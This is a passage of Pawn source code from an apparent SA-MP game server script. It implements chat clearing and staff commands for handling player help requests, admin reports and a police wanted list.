			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");// This is by SiNaGaMeR
				}
				  }
				new stri[144];
				format(stri,144,"{FFFFFF}Chat was cleared by admin %s",PINFO[playerid][pName]);
				AdminWarn(stri);
			return 1;
			}
				 for(new i = 0; i < Akharish; i++)
				 {
				if(PINFO[i][pAdmin] == 0)
				{
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");
			 SendClientMessage(i, COLOR_SINA2, " ");// This is by SiNaGaMeR
				}
				  }
				new stri[144];
				format(stri,144,"{FFFFFF}Chat was cleared by admin %s, reason: %s",PINFO[playerid][pName],result);
				AdminWarn(stri);
				return 1;
			}
			else return ErrorMessage1(playerid);
		}
		if(strcmp(cmd, "/helpme", true) == 0 || strcmp(cmd, "/n", true) == 0)
		{
			if(PINFO[playerid][pAdmin] > 0 || PINFO[playerid][pHelper] > 0) return SCM(playerid,COLOR_SINA3,"Admins and Helpers cannot request a helpme conversation.");
			if(Helpme[playerid] != INVALID_PLAYER_ID) return SCM(playerid,COLOR_GG,"Wait for the last help conversation to be solved.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /helpme <Text>");
			Helpme[playerid] = INVALID_PLAYER_ID-1;
			format(HelpmeText[playerid],100,tmp);
			new string[100];
			SvHelpmes++;
			IsOnHelpme[playerid] = 1;
			format(string, 100, "[HELPME #%d]: %s(%i):{FFFFFF} %s",helpmesc+1,PINFO[playerid][pName],playerid,tmp);
			HelpTimer[playerid] = SetTimerEx("helptimer",300000,0,"i",playerid);
			IsHelpmed[playerid] = 1;
			for(new i = 0;i<Akharish;i++)
			{
				if(PINFO[i][pHelper] >= 1)
				{
					SCM(i, COLOR_LIGHTBLUE, string);

				}
			}
			return SCM(playerid,COLOR_YELLOW,"Your help request has been sent to the online helpers.");
		}

		if(!strcmp(cmd,"/ah",true))
		{
			if(PINFO[playerid][pHelper] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not a helper.");
			for(new i = 0;i<Akharish;i++)
			{
				if(Helpme[i] == playerid && IsPlayerConnected(i) && i != playerid)
				{
					return SCM(playerid,COLOR_GG,"You already have an opened help conversation.");
				}
			}
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /ah <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
	   {
			 SCM(playerid,COLOR_YELLOW2,"Error: You can't open any help request.");
			 return 1;
		  }
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			if(PINFO[user][pHelper] > 0) return SCM(playerid,COLOR_GG,"Error: That player is a Helper.");
			if(IsOnHelpme[user] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't requested for a help.");
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i))
				{
					if(Helpme[user] == i)
					{
						new lolstr[256];
						format(lolstr, 256, "This player already is on helping with %s(%i).", PINFO[i][pName], i);
						return SCM(playerid, COLOR_GG, lolstr);
					}
				}
			}
			Helpme[user] = playerid;
			new string[100];
			format(string, 100, "Helper %s opens your help conversation.",PINFO[playerid][pName]);
			if(HelpTimer[user]!=0){KillTimer(HelpTimer[user]);HelpTimer[user]=0;}
			SCM(user,COLOR_YELLOW,string);
			if(PINFO[playerid][pSex] == 1) SCM(user,COLOR_YELLOW,"Use /hl to chat with him.");
			if(PINFO[playerid][pSex] != 1) SCM(user,COLOR_YELLOW,"Use /hl to chat with her.");
			format(string, 100, "Helper %s(%i) opens %s(%i) help conversation.",PINFO[playerid][pName],playerid,PINFO[user][pName],user);
			SvHelpmes--;
			IsHelpmed[user] = 0;
			AnsweringHelpme[playerid] = 1;
		  PlayerInfo[playerid][pActH]++;
		  SaveKonVal(playerid, "pActH", PINFO[playerid][pActH]);
			for(new i = 0;i<Akharish;i++)
			{
				if(PINFO[i][pHelper] >= 1)
				{
					SCM(i, COLOR_YELLOW, string);
				}
			}
			return SCM(playerid,COLOR_YELLOW,"Use /hl to speak with them.");
		}
		if(!strcmp(cmd,"/ar",true))
		{
			if(PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not an Admin.");
			for(new i = 0;i<Akharish;i++)
			{
				if(Reported[i] == playerid && i != playerid && IsPlayerConnected(i))
				{
					new lolhash[256];
					format(lolhash, 256, "You already have an opened conversation with %s(%i).",PINFO[i][pName], i);
					return SCM(playerid,COLOR_GG,lolhash);
				}
			}
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /ar <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(IsOnReport[user] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't reported.");
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			if(PINFO[user][pAdmin] > 0) return SCM(playerid,COLOR_GG,"Error: That player is an Admin.");
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i))
				{
					if(Reported[user] == i)
					{
						new lolstr[256];
						format(lolstr, 256, "This player already is on reporting with %s(%i).", PINFO[i][pName], i);
						return SCM(playerid, COLOR_GG, lolstr);
					}
				}
			}
			IsReported[user] = 0;
			AnsweringReport[playerid] = 1;
			Reported[user] = playerid;
			new string[100];
			format(string, 100, "Admin %s opens your report conversation.",PINFO[playerid][pName]);
			if(ReportTimer[user]!=0){KillTimer(ReportTimer[user]);ReportTimer[user]=0;}
			SCM(user,COLOR_YELLOW,string);
			if(PINFO[playerid][pSex] == 1) SCM(user,COLOR_YELLOW,"Use /al to chat with him.");
			if(PINFO[playerid][pSex] != 1) SCM(user,COLOR_YELLOW,"Use /al to chat with her.");
		  format(string, 100, "Admin %s(%i) opens %s(%i) report conversation.",PINFO[playerid][pName],playerid,PINFO[user][pName],user);
			SvReports--;
		  PlayerInfo[playerid][pActA]++;
		  SaveKonVal(playerid, "pActA", PINFO[playerid][pActA]);
			for(new i = 0;i<Akharish;i++)
			{
				if(PINFO[i][pAdmin] >= 1)
				{
					SCM(i, COLOR_YELLOW, string);
				}
			}
			return SCM(playerid,COLOR_YELLOW,"Use /al to speak with them.");
		}
		if(!strcmp(cmd, "/oldcar", true))
		{
			if(OldCar[playerid] == INVALID_VEHICLE_ID) return SCM(playerid, COLOR_SINA3, "You never entered a vehicle.");
			new lolhash[256];
			format(lolhash, 256, "Oldcar ID: %i", OldCar[playerid]);
			return SCM(playerid, COLOR_LIGHTRED, lolhash);
		}
		if(!strcmp(cmd,"/ch",true))
		{
			if(PINFO[playerid][pHelper] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not a helper.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /ch <Playerid/PartOfName>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			if(Helpme[user] == INVALID_PLAYER_ID) return SCM(playerid,COLOR_YELLOW2,"Error: That player won't help.");
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && i != playerid)
				{
					if(Helpme[user] == i)
					{
						new lolstr[256];
						format(lolstr, 256, "This player already is on helping with %s(%i).", PINFO[i][pName], i);
						return SCM(playerid, COLOR_GG, lolstr);
					}
				}
			}
			if(IsOnHelpme[user] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't requested for a help.");
			Helpme[user] = INVALID_PLAYER_ID;
			//HelpmeMide[playerid] = 0;
			IsHelpmed[user] = 0;
			IsOnHelpme[user] = 0;
			AnsweringHelpme[playerid] = 0;
			new string[100];
			format(string, 100, "Helper %s closed your help conversation.",PINFO[playerid][pName]);
			if(HelpTimer[user]!=0){KillTimer(HelpTimer[user]);HelpTimer[user]=0;}
			SCM(user,COLOR_YELLOW,string);
			format(string, 100, "Helper %s(%d) closed %s(%d) help conversation.",PINFO[playerid][pName],playerid,PINFO[user][pName],user);
			//if(PlayerInfo[playerid][pActH] != 8)
			//{
		  //PlayerInfo[playerid][pActH]++;
		  //SaveKonVal(playerid, "pActH", PINFO[playerid][pActH]);
		  //}
			for(new i = 0;i<Akharish;i++)
			{
				if(PINFO[i][pHelper] >= 1)
				{
					SCM(i, COLOR_YELLOW, string);
				}
			}
			return 1;
		}
		if(!strcmp(cmd,"/helpmes",true))
		{
			if(PINFO[playerid][pHelper] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not a helper.");
			new strlol[2000],strlol2[60],b;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && Helpme[i] == INVALID_PLAYER_ID-1)
				{
					format(strlol2, 256,"%s(%i) - needs help",PINFO[i][pName],i,HelpmeText[i]);
					strcat(strlol, strlol2, 2000);
					HelpmeDLG[playerid][b] = i;
					b ++;
				}
			}
			ShowPlayerDialog(playerid, 7815, DIALOG_STYLE_LIST, "[HELPMES]", strlol, "Select", "Close");
			return 1;
		}
		if(!strcmp(cmd,"/hl",true))
		{
			if(PINFO[playerid][pHelper] >= 1)
			{
				for(new i = 0;i<Akharish;i++)
				{
					if(Helpme[i] == playerid)
					{
						tmp = strtokEx(cmdtext,idx);
						if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /hl <Chat>");
						new strlol[256];
						format(strlol, 256, "Helper %s: %s",PINFO[playerid][pName],tmp);
						SCM(i, COLOR_YELLOW, strlol);
						SCM(playerid, COLOR_YELLOW, strlol);
						return 1;
					}
				}
			}
			if(PINFO[playerid][pHelper] >= 1) return SCM(playerid,COLOR_SINA3,"You haven't a opened helpme convetion.");
			if(Helpme[playerid] >= INVALID_PLAYER_ID-2) return SCM(playerid,COLOR_SINA3,"You haven't a opened help conversation.");
			tmp = strtokEx(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /hl <Chat>");
			new strlol[256];
			format(strlol, 256, "Player %s: %s",PINFO[playerid][pName],tmp);
			SCM(Helpme[playerid],COLOR_YELLOW,strlol);
			SCM(playerid, COLOR_YELLOW, strlol);
			return 1;
		}
		if(!strcmp(cmd,"/cr",true))
		{
			if(PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not an Admin.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN, "Syntax: /cr <Playerid/PartOfName> <Reason>");
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user)) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't connected.");
			if(Reported[user] == INVALID_PLAYER_ID) return SCM(playerid,COLOR_YELLOW2,"Error: That player won't report.");

			new reason[512];
			reason = strtokEx(cmdtext,idx);
			if(strlen(reason)) {
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && i != playerid)
				{
					if(Reported[user] == i)
					{
						new lolstr[256];
						format(lolstr, 256, "This player already is on reporting with %s(%i).", PINFO[i][pName], i);
						return SCM(playerid, COLOR_GG, lolstr);
					}
				}
			}
			if(IsOnReport[user] == 0) return SCM(playerid,COLOR_YELLOW2,"Error: That player isn't reported.");
			Reported[user] = INVALID_PLAYER_ID;
			//ReportMide[playerid] = 0;
			IsReported[user] = 0;
			IsOnReport[user] = 0;
			AnsweringReport[playerid] = 0;
			new string[512];
			format(string, 512, "Admin %s closed your report conversation. (reason: %s)",PINFO[playerid][pName], reason);
			SCM(user,COLOR_YELLOW,string);
			if(ReportTimer[user]!=0){KillTimer(ReportTimer[user]);ReportTimer[user]=0;}
			format(string, 512, "Admin %s(%i) closed %s(%i) report conversation. (reason: %s)",PINFO[playerid][pName],playerid,PINFO[user][pName],user, reason);
			//if(PlayerInfo[playerid][pActA] != 10)
			//{
		  //PlayerInfo[playerid][pActA]++;
		  //SaveKonVal(playerid, "pActA", PINFO[playerid][pActA]);
		  //}
			for(new i = 0;i<Akharish;i++)
			{
				if(PINFO[i][pAdmin] >= 1)
				{
					SCM(i, COLOR_YELLOW, string);
				}
			}
			return 1;
			}

			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && i != playerid)
				{
					if(Reported[user] == i)
					{
						new lolstr[256];
						format(lolstr, 256, "This player already is on reporting with %s(%i).", PINFO[i][pName], i);
						return SCM(playerid, COLOR_GG, lolstr);
					}
				}
			}
			Reported[user] = INVALID_PLAYER_ID;
			new string[MAX_PLAYERS];
			format(string, 100, "Admin %s closed your report conversation.",PINFO[playerid][pName]);
			SCM(user,COLOR_YELLOW,string);
			format(string, 100, "Admin %s(%i) closed %s(%i) report conversation.",PINFO[playerid][pName],playerid,PINFO[user][pName],user);
		  PlayerInfo[playerid][pActA]++;
		  SaveKonVal(playerid, "pActA", PINFO[playerid][pActA]);
			for(new i = 0;i<Akharish;i++)
			{
				if(PINFO[i][pAdmin] >= 1)
				{
					SCM(i, COLOR_YELLOW, string);
				}
			}
			return 1;
		}
		if(!strcmp(cmd, "/myreferral", true))
		{
			new googooli[100];
			format(googooli, 100, "Your referral id is: %i", PINFO[playerid][pID]);
			return SCM(playerid, COLOR_Good, googooli);
		}
/*		if(!strcmp(cmd, "/referral", true))
		{
			if(PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not an Admin.");
			new googooli[MAX_PLAYERS];
			format(googooli, 100, "Player Refferal Is: %i", PINFO[playerid][pReferral]);
			return SCM(playerid, COLOR_Good, googooli);
		} */
		if(!strcmp(cmd,"/reports",true))
		{
			if(PINFO[playerid][pAdmin] < 1) return SCM(playerid,COLOR_YELLOW2,"Error: You are not an Admin.");
			new strlol[2000],strlol2[60],b;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && Reported[i] == INVALID_PLAYER_ID-1)
				{
					format(strlol2, 256,"%s(%i) - reports something\n",PINFO[i][pName],i,ReportText[i]);
					strcat(strlol, strlol2, 2000);
					ReportDLG[playerid][b] = i;
					b ++;
				}
			}
			ShowPlayerDialog(playerid, 7820, DIALOG_STYLE_LIST, "[REPORT]", strlol, "Select", "Close");
			return	1;
		}
		if(strcmp(cmd, "/wanted", true) == 0)
		{

			if(!IsACop(playerid)) return SCM(playerid,COLOR_PD,"Error: You are not a cop.");
				if(OnDuty[playerid] != 1)
				{
					SendMessage(playerid, COLOR_BLUE, "You are not on-duty.");
					return 1;
				}
			new strlol[2000],strlol2[512],w;
			for(new i = 0;i<Akharish;i++)
			{
				if(IsPlayerConnected(i) && GetPlayerWantedLevel(i) >= 1)
				{
			new Float:x, Float:y, Float:z;
			GetPlayerPos(i, x, y, z);
			new Float: pDistance = GetPlayerDistanceFromPoint(playerid, x, y, z);
			floatround(pDistance, floatround_round);
			new zonename[256];
					GetPlayerZoneName(i, zonename, 256)
					format(strlol2, sizeof(strlol2),"%s(%i) Wanted(%d) Location(%s) Distance(%f) \n",PINFO[i][pName],i,GetPlayerWantedLevel(i),zonename,pDistance);
					strcat(strlol, strlol2, 2000);
					WDLG[playerid][w] = i;
					w ++;
				}
			}
			if(w == 0) return SCM(playerid, COLOR_BLUE, "There is no suspect online.");
			ShowPlayerDialog(playerid, 78200, DIALOG_STYLE_LIST, "[Wanteds]", strlol, "Select", "Close");
			return	1;
		}
		if(!strcmp(cmd,"/al",true))
		{
			if(PINFO[playerid][pAdmin] >= 1)
			{
				for(new i = 0;i<Akharish;i++)
				{
					if(Reported[i] == playerid && IsPlayerConnected(i))
					{
						tmp = strtokEx(cmdtext,idx);
						if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /al <Chat>");
						new strlol[256];
						format(strlol, 256, "Admin %s: %s",PINFO[playerid][pName],tmp);
						SCM(i, COLOR_YELLOW, strlol);
						SCM(playerid, COLOR_YELLOW, strlol);
						return 1;
					}
				}
			}
			if(PINFO[playerid][pAdmin] >= 1) return SCM(playerid,COLOR_SINA3,"You haven't a opened report convetion.");
